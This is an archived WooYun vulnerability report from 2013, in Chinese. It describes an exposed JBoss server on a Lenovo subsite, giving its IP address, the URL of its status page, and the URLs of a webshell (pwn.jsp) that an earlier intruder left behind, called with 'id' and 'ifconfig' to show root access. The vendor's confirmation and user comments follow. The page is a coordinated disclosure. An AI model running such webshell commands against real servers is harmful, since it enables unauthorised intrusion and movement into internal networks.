当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-039667

漏洞标题：联想安全漏洞# 某分站命令执行2

相关厂商：联想

漏洞作者： Coody

提交时间：2013-10-14 11:32

修复时间：2013-11-28 11:32

公开时间：2013-11-28 11:32

漏洞类型：命令执行

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-14： 细节已通知厂商并且等待厂商处理中
2013-10-17： 厂商已经确认，细节仅向厂商公开
2013-10-27： 细节向核心白帽子及相关领域专家公开
2013-11-06： 细节向普通白帽子公开
2013-11-16： 细节向实习白帽子公开
2013-11-28： 细节向公众公开

简要描述：

无意中看到的、既然看到了就发上来吧。
权限root、已被前人拿下shell

详细说明：

问题站点：http://124.127.255.43/


打开站点，可以看到jboss的图标
QQ图片20131014095327.jpg




习惯性的URL+status?full=true



QQ图片20131014095551.jpg




乐享家工程师端系统管理  http://124.127.255.43/lxjweb/
可以看到，还有个部署的项目名称是a，目测a.war里面有个pwn.jsp可直接执行命令
http://124.127.255.43/a/pwn.jsp?cmd=id



QQ图片20131014095924.jpg




额哦·是root权限，在看看ip信息，http://124.127.255.43/a/pwn.jsp?cmd=ifconfig



QQ图片20131014100107.jpg



内网地址
内网地址+root权限  是否是一个很好的入口呢？！

漏洞证明：

见详细说明。

修复方案：

版权声明：转载请注明来源 Coody@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-10-17 10:07

厂商回复：

感谢您对联想安全做出的贡献！我们将立即评估与修复相关漏洞

最新状态：

暂无

漏洞评价：

评论

  1. 2013-10-14 11:34 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @联想 我是洞主的小号，这个号不用了，把rank和礼物发到我这个号上吧。

  2. 2013-10-14 11:53 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @鬼魅羊羔 这联想和TCL就是个ATM啊

  3. 2013-10-14 11:58 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @xsser 而且是不需要密码的

  4. 2013-10-14 12:24 | Vigoss_Z ( 普通白帽子 | Rank:404 漏洞数:63 | 楞娃)

    @Coody @xsser 同一个漏洞，不同厂商，发现难度可能完全不一样，同一个厂商，不同阶段（被撸过和没撸过），发现难度也完全不一样。

  5. 2013-10-14 13:10 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @Vigoss_Z 额

  6. 2013-10-15 19:56 | 霍大然 ( 普通白帽子 | Rank:1136 漏洞数:178 | W币花完了，刷分还是不刷？)

    @xsser 还有海尔兄弟。